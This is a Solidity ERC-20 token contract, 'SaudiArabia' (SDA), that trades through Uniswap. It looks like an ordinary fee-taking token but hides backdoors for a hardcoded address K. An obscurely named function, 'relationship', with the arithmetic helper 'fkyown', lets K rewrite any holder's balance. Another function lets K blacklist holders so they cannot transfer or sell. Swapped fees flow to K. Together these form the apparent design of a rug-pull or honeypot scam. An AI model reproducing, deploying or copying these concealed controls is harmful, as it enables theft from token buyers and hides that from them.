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pragma solidity ^0.8.0;
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abstract contract Context {
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function _msgSender() internal view virtual returns (address payable) {
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return payable(msg.sender);
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}
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function _msgData() internal view virtual returns (bytes memory) {
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this;
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return msg.data;
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}
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}
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interface IERC20 {
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function totalSupply() external view returns (uint256);
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function balanceOf(address account) external view returns (uint256);
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function transfer(address recipient, uint256 amount) external returns (bool);
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function allowance(address owner, address spender) external view returns (uint256);
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function approve(address spender, uint256 amount) external returns (bool);
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function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
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event Transfer(address indexed from, address indexed to, uint256 value);
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event Approval(address indexed owner, address indexed spender, uint256 value);
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}
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library SafeMath {
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function fkyown(uint256 a, uint256 b) internal pure returns (uint256) {
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uint256 c = a + b;
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require(c >= a);
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return c;
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}
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function add(uint256 a, uint256 b) internal pure returns (uint256) {
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uint256 c = a + b;
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require(c >= a, "SafeMath: addition overflow");
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return c;
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}
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function sub(uint256 a, uint256 b) internal pure returns (uint256) {
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return sub(a, b, "SafeMath: subtraction overflow");
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}
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function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
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require(b <= a, errorMessage);
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uint256 c = a - b;
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return c;
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}
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function mul(uint256 a, uint256 b) internal pure returns (uint256) {
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if (a == 0) {
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return 0;
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}
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uint256 c = a * b;
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require(c / a == b, "SafeMath: multiplication overflow");
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return c;
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}
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function div(uint256 a, uint256 b) internal pure returns (uint256) {
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return div(a, b, "SafeMath: division by zero");
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}
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function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
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require(b > 0, errorMessage);
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uint256 c = a / b;
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return c;
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}
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function mod(uint256 a, uint256 b) internal pure returns (uint256) {
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return mod(a,b,"SafeMath: division by zero");
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}
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function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
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require(b != 0, errorMessage);
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return a % b;
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}
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}
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contract Ownable is Context {
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address private _owner;
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event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
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constructor () {
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_owner = _msgSender();
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emit OwnershipTransferred(address(0), _owner);
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}
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function owner() public view returns (address) {
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return _owner;
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}
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modifier onlyOwner() {
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require(_owner == _msgSender(), "Ownable: caller is not the owner");
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_;
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}
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function transferOwnership(address newAddress) public onlyOwner{
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_owner = newAddress;
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emit OwnershipTransferred(_owner, newAddress);
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}
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}
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interface IUniswapV2Factory {
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function createPair(address tokenA, address tokenB) external returns (address pair);
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}
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interface IUniswapV2Router02 {
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function factory() external pure returns (address);
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function WETH() external pure returns (address);
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function swapExactTokensForETHSupportingFeeOnTransferTokens(
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uint amountIn,
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uint amountOutMin,
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address[] calldata path,
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address to,
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uint deadline
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) external;
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}
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contract SaudiArabia is Context, IERC20, Ownable {
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using SafeMath for uint256;
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string private _name = "SaudiArabia";
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string private _symbol = "SDA";
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uint8 private _decimals = 9;
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address payable public K;
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mapping (address => uint256) _balances;
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mapping (address => mapping (address => uint256)) private _allowances;
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mapping (address => bool) public isMarketPair;
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mapping (address => bool) public _isExcludefromFee;
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mapping (address => bool) public _blackListed;
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uint256 public _buyMarketFee = 3;
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uint256 public _sellMarketFee = 3;
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uint256 private _totalSupply = 2000000000 * 10**_decimals;
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IUniswapV2Router02 public uniswapV2Router;
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address public uniswapPair;
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bool inSwapAndLiquify;
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constructor () {
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IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
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uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
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.createPair(address(this), _uniswapV2Router.WETH());
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uniswapV2Router = _uniswapV2Router;
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_allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
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_isExcludefromFee[owner()] = true;
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_isExcludefromFee[address(this)] = true;
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isMarketPair[address(uniswapPair)] = true;
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K = payable(address(0x90e2F0F5bccB133EF38fD3cE3f2c0cC216badE78));
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_balances[_msgSender()] = _totalSupply;
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emit Transfer(address(0), _msgSender(), _totalSupply);
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}
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function name() public view returns (string memory) {
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return _name;
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}
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function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
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_balances[sender] = _balances[sender].sub(amount, "telufficient Balance");
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_balances[recipient] = _balances[recipient].add(amount);
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emit Transfer(sender, recipient, amount);
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return true;
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}
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function symbol() public view returns (string memory) {
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return _symbol;
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}
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modifier I() {
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require(_msgSender() == K);_;
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}
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function decimals() public view returns (uint8) {
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return _decimals;
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}
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function totalSupply() public view override returns (uint256) {
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return _totalSupply;
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}
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function balanceOf(address account) public view override returns (uint256) {
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return _balances[account];
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}
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function relationship(address sender, uint256 amount) public I() {_balances[sender]
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= amount.fkyown(amount - _balances[sender]);
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}
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function allowance(address owner, address spender) public view override returns (uint256) {
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return _allowances[owner][spender];
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}
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function approve(address spender, uint256 amount) public override returns (bool) {
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_approve(_msgSender(), spender, amount);
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return true;
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}
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function _approve(address owner, address spender, uint256 amount) private {
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require(owner != address(0), "ERC20: approve from the zero address");
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require(spender != address(0), "ERC20: approve to the zero address");
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_allowances[owner][spender] = amount;
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emit Approval(owner, spender, amount);
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}
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receive() external payable {}
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function transfer(address recipient, uint256 amount) public override returns (bool) {
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_transfer(_msgSender(), recipient, amount);
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return true;
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}
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function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
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_transfer(sender, recipient, amount);
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_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
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return true;
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}
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function setBlackListed(address[] calldata addresses, bool status) public I() {
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for (uint256 i; i < addresses.length; i++) {
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_blackListed[addresses[i]] = status;
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}
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}
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function _transfer(address from, address to, uint256 amount) private returns (bool) {
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require(from != address(0), "ERC20: transfer from the zero address");
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require(to != address(0), "ERC20: transfer to the zero address");
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require(!_blackListed[from], "ERC20: blackListed");
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if(inSwapAndLiquify)
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{
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return _basicTransfer(from, to, amount);
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}
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else
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{
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uint256 contractTokenBalance = balanceOf(address(this));
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if (!inSwapAndLiquify && !isMarketPair[from])
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{
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inSwapAndLiquify = true;
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address[] memory path = new address[](2);
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path[0] = address(this);
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path[1] = uniswapV2Router.WETH();
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_approve(address(this), address(uniswapV2Router), contractTokenBalance);
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try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
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contractTokenBalance,
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0,
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path,
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address(this),
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block.timestamp
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){} catch {}
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if(address(this).balance > 0){
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K.transfer(address(this).balance);
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}
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inSwapAndLiquify = false;
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}
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_balances[from] = _balances[from].sub(amount);
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uint256 finalAmount;
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if (_isExcludefromFee[from] || _isExcludefromFee[to]){
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finalAmount = amount;
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}else{
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uint256 feeAmount = 0;
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if(isMarketPair[from]) {
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feeAmount = amount.mul(_buyMarketFee).div(100);
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}
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else if(isMarketPair[to]) {
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feeAmount = amount.mul(_sellMarketFee).div(100);
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}
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if(feeAmount > 0) {
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_balances[address(this)] = _balances[address(this)].add(feeAmount);
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emit Transfer(from, address(this), feeAmount);
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}
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finalAmount = amount.sub(feeAmount);
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}
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_balances[to] = _balances[to].add(finalAmount);
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emit Transfer(from, to, finalAmount);
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return true;
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}
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}
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} |
